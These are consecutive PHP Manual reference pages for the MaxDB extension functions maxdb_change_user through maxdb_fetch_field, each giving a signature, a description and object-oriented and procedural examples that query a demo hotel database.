Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if ($result = maxdb_query($link, "SELECT * FROM dual")) {
   $row = maxdb_fetch_row($result);
   printf("Result: %s\n", $row[0]);
   maxdb_free_result($result);
}

/* reset all and select a new database */
if (!maxdb_change_user($link, "DBADMIN", "SECRET", "DEMODB")) {
  printf("Database not running\n");
} else {
  printf("Database running\n");
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Result: a
Database running

See Also

  • maxdb_connect() - Open a new connection to the MaxDB server
  • maxdb_select_db() - Selects the default database for database queries

User Contributed Notes

There are no user contributed notes for this page.
maxdb_bind_result
maxdb_character_set_name
MaxDB Functions


Returns the default character set for the database connection

maxdb_change_user
maxdb_client_encoding
MaxDB Functions
PHP Manual

maxdb_character_set_name

maxdb::character_set_name

(PECL maxdb >= 1.0)

maxdb_character_set_name -- maxdb::character_set_name — Returns the default character set for the database connection

Description

Procedural style

string maxdb_character_set_name ( resource $link )

Object oriented style

string maxdb::character_set_name ( void )

Returns the current character set for the database connection specified by the link parameter.

Return Values

The default character set for the current connection, either ascii or unicode.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Print current character set */
$charset = $maxdb->character_set_name();
printf ("Current character set is %s\n", $charset);

$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Print current character set */
$charset = maxdb_character_set_name($link);
printf ("Current character set is %s\n",$charset);

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Current character set is ascii

See Also

  • maxdb_client_encoding() - Alias of maxdb_character_set_name
  • maxdb_real_escape_string() - Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection

User Contributed Notes

There are no user contributed notes for this page.
maxdb_change_user
maxdb_client_encoding
MaxDB Functions


Alias of maxdb_character_set_name

maxdb_character_set_name
maxdb_close_long_data
MaxDB Functions
PHP Manual

maxdb_client_encoding

(PECL maxdb 1.0)

maxdb_client_encoding — Alias of maxdb_character_set_name()

Description

This function is an alias of: maxdb_character_set_name().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_character_set_name
maxdb_close_long_data
MaxDB Functions


Alias of maxdb_stmt_close_long_data

maxdb_client_encoding
maxdb_close
MaxDB Functions
PHP Manual

maxdb_close_long_data

maxdb::close_long_data

(PECL maxdb >= 1.0)

maxdb_close_long_data -- maxdb::close_long_data — Alias of maxdb_stmt_close_long_data()

Description

This function is an alias of: maxdb_stmt_close_long_data().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_client_encoding
maxdb_close
MaxDB Functions


Closes a previously opened database connection

maxdb_close_long_data
maxdb_commit
MaxDB Functions
PHP Manual

maxdb_close

maxdb::close

(PECL maxdb >= 1.0)

maxdb_close -- maxdb::close — Closes a previously opened database connection

Description

Procedural style

bool maxdb_close ( resource $link )

Object oriented style

bool maxdb::close ( void )

The maxdb_close() function closes a previously opened database connection specified by the link parameter.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • maxdb_connect() - Open a new connection to the MaxDB server
  • maxdb_init() - Initializes MaxDB and returns an resource for use with maxdb_real_connect
  • maxdb_real_connect() - Opens a connection to a MaxDB server

User Contributed Notes

There are no user contributed notes for this page.
maxdb_close_long_data
maxdb_commit
MaxDB Functions


Commits the current transaction

maxdb_close
maxdb_connect_errno
MaxDB Functions
PHP Manual

maxdb_commit

maxdb::commit

(PECL maxdb >= 1.0)

maxdb_commit -- maxdb::commit — Commits the current transaction

Description

Procedural style

bool maxdb_commit ( resource $link )

Object oriented style

bool maxdb::commit ( void )

Commits the current transaction for the database connection specified by the link parameter.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* set autocommit to off */
$maxdb->autocommit(FALSE);

maxdb_report (MAXDB_REPORT_OFF);
$maxdb->query("DROP TABLE mycustomer");
maxdb_report (MAXDB_REPORT_ERROR);

$maxdb->query("CREATE TABLE mycustomer LIKE hotel.customer");

/* Insert some values */
$maxdb->query("INSERT INTO mycustomer VALUES (3000,'Mrs','Jenny','Porter','10580','1340 N.Ash Street, #3')");
$maxdb->query("INSERT INTO mycustomer VALUES (3100,'Mr','Peter','Brown','48226','1001 34th Str., APT.3')");

/* commit transaction */
$maxdb->commit();

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* set autocommit to off */
maxdb_autocommit($link, FALSE);

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP TABLE mycustomer");
maxdb_report (MAXDB_REPORT_ERROR);

maxdb_query($link, "CREATE TABLE mycustomer LIKE hotel.customer");

/* Insert some values */
maxdb_query($link, "INSERT INTO mycustomer VALUES (3000,'Mrs','Jenny','Porter','10580','1340 N.Ash Street, #3')");
maxdb_query($link, "INSERT INTO mycustomer VALUES (3100,'Mr','Peter','Brown','48226','1001 34th Str., APT.3')");

/* commit transaction */
maxdb_commit($link);

/* close connection */
maxdb_close($link);
?>

The above examples produces no output.

See Also

  • maxdb_autocommit() - Turns on or off auto-commiting database modifications
  • maxdb_rollback() - Rolls back current transaction

User Contributed Notes

There are no user contributed notes for this page.
maxdb_close
maxdb_connect_errno
MaxDB Functions


Returns the error code from last connect call

maxdb_commit
maxdb_connect_error
MaxDB Functions
PHP Manual

maxdb_connect_errno

(PECL maxdb >= 1.0)

maxdb_connect_errno — Returns the error code from last connect call

Description

int maxdb_connect_errno ( void )

The maxdb_connect_errno() function will return the last error code number for last call to maxdb_connect(). If no errors have occured, this function will return zero.

Return Values

An error code value for the last call to maxdb_connect(), if it failed. zero means no error occurred.

Examples

Example #1 maxdb_connect_errno sample

<?php
$link = maxdb_connect("localhost", "XXXXXXXX", "YYYYYYYYY");

if (!$link) {
   printf("Can't connect to localhost. Errorcode: %d\n", maxdb_connect_errno());
}
?>

The above example will output something similar to:

PHP Warning:  maxdb_connect(): -4008 POS(1) Unknown user name/password combination [08004] <...>
Can't connect to localhost. Errorcode: -4008

See Also

  • maxdb_connect() - Open a new connection to the MaxDB server
  • maxdb_connect_error() - Returns a string description of the last connect error
  • maxdb_errno() - Returns the error code for the most recent function call
  • maxdb_error() - Returns a string description of the last error
  • maxdb_sqlstate() - Returns the SQLSTATE error from previous MaxDB operation

User Contributed Notes

There are no user contributed notes for this page.
maxdb_commit
maxdb_connect_error
MaxDB Functions


Returns a string description of the last connect error

maxdb_connect_errno
maxdb_connect
MaxDB Functions
PHP Manual

maxdb_connect_error

(PECL maxdb >= 1.0)

maxdb_connect_error — Returns a string description of the last connect error

Description

string maxdb_connect_error ( void )

The maxdb_connect_error() function is identical to the corresponding maxdb_connect_errno() function in every way, except instead of returning an integer error code the maxdb_connect_error() function will return a string representation of the last error to occur for the last maxdb_connect() call. If no error has occured, this function will return an empty string.

Return Values

A string that describes the error. An empty string if no error occurred.

Examples

Example #1 maxdb_connect_error sample

<?php

$link = maxdb_connect("localhost", "nonexisting_user", "");

if (!$link) {
   printf("Can't connect to localhost. Error: %s\n", maxdb_connect_error());
}
?>

The above example will output something similar to:

PHP Warning:  maxdb_connect(): -4008 POS(1) Unknown user name/password combination <...>
Can't connect to localhost. Error: POS(1) Unknown user name/password combination

See Also

  • maxdb_connect() - Open a new connection to the MaxDB server
  • maxdb_connect_errno() - Returns the error code from last connect call
  • maxdb_errno() - Returns the error code for the most recent function call
  • maxdb_error() - Returns a string description of the last error
  • maxdb_sqlstate() - Returns the SQLSTATE error from previous MaxDB operation

User Contributed Notes

There are no user contributed notes for this page.
maxdb_connect_errno
maxdb_connect
MaxDB Functions


Open a new connection to the MaxDB server

maxdb_connect_error
maxdb_data_seek
MaxDB Functions
PHP Manual

maxdb_connect

maxdb::__construct

(PECL maxdb >= 1.0)

maxdb_connect -- maxdb::__construct — Open a new connection to the MaxDB server

Description

Procedural style

resource maxdb_connect ([ string $host [, string $username [, string $passwd [, string $dbname [, int $port = 0 [, string $socket ]]]]]] )

Object oriented style

maxdb::__construct() ([ string $host [, string $username [, string $passwd [, string $dbname [, int $port = 0 [, string $socket ]]]]]] )

The maxdb_connect() function attempts to open a connection to the MaxDB Server running on host which can be either a host name or an IP address. Passing the string "localhost" to this parameter, the local host is assumed. If successful, the maxdb_connect() will return an resource representing the connection to the database or FALSE on failure.

The username and password parameters specify the username and password under which to connect to the MaxDB server. If the password is not provided (the NULL value is passed), the MaxDB server will attempt to authenticate the user against the maxdb.default_pw in php.ini.

The dbname parameter if provided will specify the default database to be used when performing queries. If not provied, the entry maxdb.default_db in php.ini is used.

The port and socket parameters are ignored for the MaxDB server.

Return Values

Returns a resource which represents the connection to a MaxDB Server or FALSE if the connection failed.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf("Host information: %s\n", $maxdb->host_info);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf("Host information: %s\n", maxdb_get_host_info($link));

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Host information: localhost

User Contributed Notes

There are no user contributed notes for this page.
maxdb_connect_error
maxdb_data_seek
MaxDB Functions


Adjusts the result pointer to an arbitary row in the result

maxdb_connect
maxdb_debug
MaxDB Functions
PHP Manual

maxdb_data_seek

maxdb_result::data_seek

(PECL maxdb >= 1.0)

maxdb_data_seek -- maxdb_result::data_seek — Adjusts the result pointer to an arbitary row in the result

Description

Procedural style

bool maxdb_data_seek ( resource $result , int $offset )

Object oriented style

bool maxdb_result::data_seek ( int $offset )

The maxdb_data_seek() function seeks to an arbitrary result pointer specified by the offset in the result set represented by result. The offset parameter must be between zero and the total number of rows minus one (0..maxdb_num_rows() - 1).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER BY name";
if ($result = $maxdb->query( $query)) {

   /* seek to row no. 10 */
   $result->data_seek(10);

   /* fetch row */
   $row = $result->fetch_row();

   printf ("City: %s  State: %s\n", $row[0], $row[1]);

   /* free result set*/
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER BY name";

if ($result = maxdb_query($link, $query)) {

   /* seek to row no. 400 */
   maxdb_data_seek($result, 10);

   /* fetch row */
   $row = maxdb_fetch_row($result);

   printf ("City: %s  State: %s\n", $row[0], $row[1]);

   /* free result set*/
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

City: Irvine  State: CA

See Also

  • maxdb_store_result() - Transfers a result set from the last query
  • maxdb_fetch_row() - Get a result row as an enumerated array
  • maxdb_num_rows() - Gets the number of rows in a result

User Contributed Notes

There are no user contributed notes for this page.
maxdb_connect
maxdb_debug
MaxDB Functions


Performs debugging operations

maxdb_data_seek
maxdb_disable_reads_from_master
MaxDB Functions
PHP Manual

maxdb_debug

(PECL maxdb >= 1.0)

maxdb_debug — Performs debugging operations

Description

void maxdb_debug ( string $debug )

The maxdb_debug() can be used to trace the SQLDBC communication. The following strings can be used as a parameter to maxdb_debug():

  • TRACE SHORT ON|OFF - Enables/disables method call trace.
  • TRACE LONG ON|OFF - Enables/disables method argument and detail debug trace.
  • TRACE PACKET ON|OFF|<size> - Enables/disables packet trace, limiting the size of the traced object to the specified number of bytes, or 1000 if no size is specified.
  • TRACE SQL ON|OFF - Enables/disables high level api trace.
  • TRACE TIMESTAMP ON|OFF - Enables/disables a timestamp prefix on each line that is traced.
  • TRACE SIZE <size> - Limits the size of the trace file to <size> bytes, at least 8192 bytes are required.

Return Values

maxdb_debug() doesn't return any value.

Examples

Example #1 Procedural style

<?php

maxdb_debug("trace packet 200");

$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* close connection */
maxdb_close($link);
?>

The above example produces no output.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_data_seek
maxdb_disable_reads_from_master
MaxDB Functions


Disable reads from master

maxdb_debug
maxdb_disable_rpl_parse
MaxDB Functions
PHP Manual

maxdb_disable_reads_from_master

maxdb::disable_reads_from_master

(PECL maxdb >= 1.0)

maxdb_disable_reads_from_master -- maxdb::disable_reads_from_master — Disable reads from master

Description

Procedural style

bool maxdb_disable_reads_from_master ( resource $link )

Object oriented style

void maxdb::disable_reads_from_master ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_debug
maxdb_disable_rpl_parse
MaxDB Functions


Disable RPL parse

maxdb_disable_reads_from_master
maxdb_dump_debug_info
MaxDB Functions
PHP Manual

maxdb_disable_rpl_parse

(PECL maxdb >= 1.0)

maxdb_disable_rpl_parse — Disable RPL parse

Description

bool maxdb_disable_rpl_parse ( resource $link )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_disable_reads_from_master
maxdb_dump_debug_info
MaxDB Functions


Dump debugging information into the log

maxdb_disable_rpl_parse
maxdb_embedded_connect
MaxDB Functions
PHP Manual

maxdb_dump_debug_info

(PECL maxdb >= 1.0)

maxdb_dump_debug_info — Dump debugging information into the log

Description

bool maxdb_dump_debug_info ( resource $link )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_disable_rpl_parse
maxdb_embedded_connect
MaxDB Functions


Open a connection to an embedded MaxDB server

maxdb_dump_debug_info
maxdb_enable_reads_from_master
MaxDB Functions
PHP Manual

maxdb_embedded_connect

(PECL maxdb >= 1.0)

maxdb_embedded_connect — Open a connection to an embedded MaxDB server

Description

resource maxdb_embedded_connect ([ string $dbname ] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_dump_debug_info
maxdb_enable_reads_from_master
MaxDB Functions


Enable reads from master

maxdb_embedded_connect
maxdb_enable_rpl_parse
MaxDB Functions
PHP Manual

maxdb_enable_reads_from_master

(PECL maxdb >= 1.0)

maxdb_enable_reads_from_master — Enable reads from master

Description

bool maxdb_enable_reads_from_master ( resource $link )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_embedded_connect
maxdb_enable_rpl_parse
MaxDB Functions


Enable RPL parse

maxdb_enable_reads_from_master
maxdb_errno
MaxDB Functions
PHP Manual

maxdb_enable_rpl_parse

(PECL maxdb >= 1.0)

maxdb_enable_rpl_parse — Enable RPL parse

Description

bool maxdb_enable_rpl_parse ( resource $link )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_enable_reads_from_master
maxdb_errno
MaxDB Functions


Returns the error code for the most recent function call

maxdb_enable_rpl_parse
maxdb_error
MaxDB Functions
PHP Manual

maxdb_errno

maxdb::errno

(PECL maxdb >= 1.0)

maxdb_errno -- maxdb::errno — Returns the error code for the most recent function call

Description

Procedural style

int maxdb_errno ( resource $link )

Object oriented style

int $maxdb->errno;

The maxdb_errno() function will return the last error code for the most recent MaxDB function call that can succeed or fail with respect to the database link defined by the link parameter. If no errors have occured, this function will return zero.

Return Values

An error code value for the last call, if it failed. zero means no error occurred.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if (!$maxdb->query("SELECT xxx FROM hotel.city")) {
   printf("Errorcode: %d\n", $maxdb->errno);
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if (!maxdb_query($link, "SELECT xxx FROM hotel.city")) {
   printf("Errorcode: %d\n", maxdb_errno($link));
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

PHP Warning:  maxdb_query(): -4005 POS(8) Unknown column name:XXX [42000] <...>
Errorcode: -4005

See Also

  • maxdb_connect_errno() - Returns the error code from last connect call
  • maxdb_connect_error() - Returns a string description of the last connect error
  • maxdb_error() - Returns a string description of the last error
  • maxdb_sqlstate() - Returns the SQLSTATE error from previous MaxDB operation

User Contributed Notes

There are no user contributed notes for this page.
maxdb_enable_rpl_parse
maxdb_error
MaxDB Functions


Returns a string description of the last error

maxdb_errno
maxdb_escape_string
MaxDB Functions
PHP Manual

maxdb_error

maxdb::error

(PECL maxdb >= 1.0)

maxdb_error -- maxdb::error — Returns a string description of the last error

Description

Procedural style

string maxdb_error ( resource $link )

Object oriented style

string $maxdb->error;

The maxdb_error() function is identical to the corresponding maxdb_errno() function in every way, except instead of returning an integer error code the maxdb_error() function will return a string representation of the last error to occur for the database connection represented by the link parameter. If no error has occured, this function will return an empty string.

Return Values

A string that describes the error. An empty string if no error occurred.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if (!$maxdb->query("SELECT xxx FROM hotel.city")) {
   printf("Errormessage: %s\n", $maxdb->error);
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

if (!maxdb_query($link, "SELECT xxx FROM hotel.city")) {
   printf("Errormessgae: %s\n", maxdb_error($link));
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

PHP Warning:  maxdb_query(): -4005 POS(8) Unknown column name:XXX [42000]
Errormessgae: POS(8) Unknown column name:XXX

See Also

  • maxdb_connect_errno() - Returns the error code from last connect call
  • maxdb_connect_error() - Returns a string description of the last connect error
  • maxdb_errno() - Returns the error code for the most recent function call
  • maxdb_sqlstate() - Returns the SQLSTATE error from previous MaxDB operation

User Contributed Notes

There are no user contributed notes for this page.
maxdb_errno
maxdb_escape_string
MaxDB Functions


Alias of maxdb_real_escape_string

maxdb_error
maxdb_execute
MaxDB Functions
PHP Manual

maxdb_escape_string

(PECL maxdb 1.0)

maxdb_escape_string — Alias of maxdb_real_escape_string()

Description

This function is an alias of: maxdb_real_escape_string().

User Contributed Notes

There are no user contributed notes for this page.
maxdb_error
maxdb_execute
MaxDB Functions


Alias of maxdb_stmt_execute

maxdb_escape_string
maxdb_fetch_array
MaxDB Functions
PHP Manual

maxdb_execute

(PECL maxdb 1.0)

maxdb_execute — Alias of maxdb_stmt_execute()

Description

This function is an alias of: maxdb_stmt_execute().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_escape_string
maxdb_fetch_array
MaxDB Functions


Fetch a result row as an associative, a numeric array, or both

maxdb_execute
maxdb_fetch_assoc
MaxDB Functions
PHP Manual

maxdb_fetch_array

maxdb_result::fetch_array

(PECL maxdb >= 1.0)

maxdb_fetch_array -- maxdb_result::fetch_array — Fetch a result row as an associative, a numeric array, or both

Description

Procedural style

mixed maxdb_fetch_array ( resource $result [, int $resulttype ] )

Object oriented style

mixed maxdb_result::fetch_array ([ int $resulttype ] )

Returns an array that corresponds to the fetched row or NULL if there are no more rows for the resultset represented by the result parameter.

maxdb_fetch_array() is an extended version of the maxdb_fetch_row() function. In addition to storing the data in the numeric indices of the result array, the maxdb_fetch_array() function can also store the data in associative indices, using the field names of the result set as keys.

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

If two or more columns of the result have the same field names, the last column will take precedence and overwrite the earlier data. In order to access multiple columns with the same name, the numerically indexed version of the row must be used.

The optional second argument resulttype is a constant indicating what type of array should be produced from the current row data. The possible values for this parameter are the constants MAXDB_ASSOC, MAXDB_ASSOC_UPPER, MAXDB_ASSOC_LOWER, MAXDB_NUM, or MAXDB_BOTH. By default the maxdb_fetch_array() function will assume MAXDB_BOTH, which is a combination of MAXDB_NUM and MAXDB_ASSOC for this parameter.

By using the MAXDB_ASSOC constant this function will behave identically to the maxdb_fetch_assoc(), while MAXDB_NUM will behave identically to the maxdb_fetch_row() function. The final option MAXDB_BOTH will create a single array with the attributes of both.

By using the MAXDB_ASSOC_UPPER constant, the behaviour of this function is identical to the use of MAXDB_ASSOC except the array index of a column is the fieldname in upper case.

By using the MAXDB_ASSOC_LOWER constant, the behaviour of this function is identical to the use of MAXDB_ASSOC except the array index of a column is the fieldname in lower case.

Return Values

Returns an array that corresponds to the fetched row or NULL if there are no more rows in resultset.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";
$result = $maxdb->query($query);

/* numeric array */
$row = $result->fetch_array(MAXDB_NUM);
printf ("%s (%s)\n", $row[0], $row[1]);

/* associative array */
$row = $result->fetch_array(MAXDB_ASSOC);
printf ("%s (%s)\n", $row["NAME"], $row["STATE"]);

/* associative and numeric array */
$row = $result->fetch_array(MAXDB_BOTH);
printf ("%s (%s)\n", $row[0], $row["STATE"]);

/* free result set */
$result->close();

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";
$result = maxdb_query($link, $query);

/* numeric array */
$row = maxdb_fetch_array($result, MAXDB_NUM);
printf ("%s (%s)\n", $row[0], $row[1]);

/* associative array */
$row = maxdb_fetch_array($result, MAXDB_ASSOC);
printf ("%s (%s)\n", $row["NAME"], $row["STATE"]);

/* associative and numeric array */
$row = maxdb_fetch_array($result, MAXDB_BOTH);
printf ("%s (%s)\n", $row[0], $row["STATE"]);

/* free result set */
maxdb_free_result($result);

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

New York (NY)
New York (NY)
Long Island (NY)

See Also

  • maxdb_fetch_assoc() - Fetch a result row as an associative array
  • maxdb_fetch_row() - Get a result row as an enumerated array
  • maxdb_fetch_resource()

User Contributed Notes

There are no user contributed notes for this page.
maxdb_execute
maxdb_fetch_assoc
MaxDB Functions


Fetch a result row as an associative array

maxdb_fetch_array
maxdb_fetch_field_direct
MaxDB Functions
PHP Manual

maxdb_fetch_assoc

maxdb_result::fetch_assoc

(PECL maxdb >= 1.0)

maxdb_fetch_assoc -- maxdb_result::fetch_assoc — Fetch a result row as an associative array

Description

Procedural style

array maxdb_fetch_assoc ( resource $result )

Object oriented style

array maxdb_result::fetch_assoc ( void )

Returns an associative array that corresponds to the fetched row or NULL if there are no more rows.

The maxdb_fetch_assoc() function is used to return an associative array representing the next row in the result set for the result represented by the result parameter, where each key in the array represents the name of one of the result set's columns.

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you either need to access the result with numeric indices by using maxdb_fetch_row() or add alias names.

Note: Field names returned by this function are case-sensitive.

Note: This function sets NULL fields to the PHP NULL value.

Return Values

Returns an array that corresponds to the fetched row or NULL if there are no more rows in resultset.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = $maxdb->query($query)) {

   /* fetch associative array */
   while ($row = $result->fetch_assoc()) {
       printf ("%s (%s)\n", $row["NAME"], $row["STATE"]);
   }

   /* free result set */
   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, state FROM hotel.city ORDER by zip";

if ($result = maxdb_query($link, $query)) {

   /* fetch associative array */
   while ($row = maxdb_fetch_assoc($result)) {
       printf ("%s (%s)\n", $row["NAME"], $row["STATE"]);
   }

   /* free result set */
   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

New York (NY)
New York (NY)
Long Island (NY)
Albany (NY)
Washington (DC)
Washington (DC)
Washington (DC)
Silver Spring (MD)
Daytona Beach (FL)
Deerfield Beach (FL)
Clearwater (FL)
Cincinnati (OH)
Detroit (MI)
Rosemont (IL)
Chicago (IL)
Chicago (IL)
New Orleans (LA)
Dallas (TX)
Los Angeles (CA)
Hollywood (CA)
Long Beach (CA)
Palm Springs (CA)
Irvine (CA)
Santa Clara (CA)
Portland (OR)

See Also

  • maxdb_fetch_array() - Fetch a result row as an associative, a numeric array, or both
  • maxdb_fetch_row() - Get a result row as an enumerated array
  • maxdb_fetch_resource()

User Contributed Notes

There are no user contributed notes for this page.
maxdb_fetch_array
maxdb_fetch_field_direct
MaxDB Functions


Fetch meta-data for a single field

maxdb_fetch_assoc
maxdb_fetch_field
MaxDB Functions
PHP Manual

maxdb_fetch_field_direct

maxdb_result::fetch_field_direct

(PECL maxdb >= 1.0)

maxdb_fetch_field_direct -- maxdb_result::fetch_field_direct — Fetch meta-data for a single field

Description

Procedural style

mixed maxdb_fetch_field_direct ( resource $result , int $fieldnr )

Object oriented style

mixed maxdb_result::fetch_field_direct ( int $fieldnr )

maxdb_fetch_field_direct() returns an resource which contains field definition information from specified resultset. The value of fieldnr must be in the range from 0 to number of fields - 1.

Return Values

Returns an resource which contains field definition information or FALSE if no field information for specified fieldnr is available.

Object attributes
Attribute | Description
name | The name of the column
max_length | The maximum width of the field for the result set.
type | The data type used for this field
decimals | The number of decimals used (for integer fields)

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY name";

if ($result = $maxdb->query($query)) {

   /* Get field information for column 'SurfaceArea' */
   $finfo = $result->fetch_field_direct(1);

   printf("Name:     %s\n", $finfo->name);
   printf("Table:    %s\n", $finfo->table);
   printf("max. Len: %d\n", $finfo->max_length);
   printf("Flags:    %d\n", $finfo->flags);
   printf("Type:     %d\n", $finfo->type);

   $result->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, cno from hotel.customer ORDER BY name";

if ($result = maxdb_query($link, $query)) {

   /* Get field information for column 'cno' */
   $finfo = maxdb_fetch_field_direct($result, 1);

   printf("Name:     %s\n", $finfo->name);
   printf("Table:    %s\n", $finfo->table);
   printf("max. Len: %d\n", $finfo->max_length);
   printf("Flags:    %d\n", $finfo->flags);
   printf("Type:     %d\n", $finfo->type);

   maxdb_free_result($result);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Name:     CNO
Table:
max. Len: 4
Flags:    -1
Type:     0

See Also

  • maxdb_num_fields() - Get the number of fields in a result
  • maxdb_fetch_field() - Returns the next field in the result set
  • maxdb_fetch_fields() - Returns an array of resources representing the fields in a result set

User Contributed Notes

There are no user contributed notes for this page.
maxdb_fetch_assoc
maxdb_fetch_field
MaxDB Functions


Returns the next field in the result set

maxdb_fetch_field_direct
maxdb_fetch_fields
MaxDB Functions
PHP Manual

maxdb_fetch_field

maxdb_result::fetch_field

(PECL maxdb >= 1.0)

maxdb_fetch_field -- maxdb_result::fetch_field — Returns the next field in the result set

Description

Procedural style

mixed maxdb_fetch_field ( resource $result )

Object oriented style

mixed maxdb_result::fetch_field ( void )

The maxdb_fetch_field() returns the definition of one column of a result set as an resource. Call this function repeatedly to retrieve information about all columns in the result set. maxdb_fetch_field() returns FALSE when no more fields are left.

Return Values

Returns an resource which contains field definition information or FALSE if no field information is available.

Object properties
Property | Description
name | The name of the column
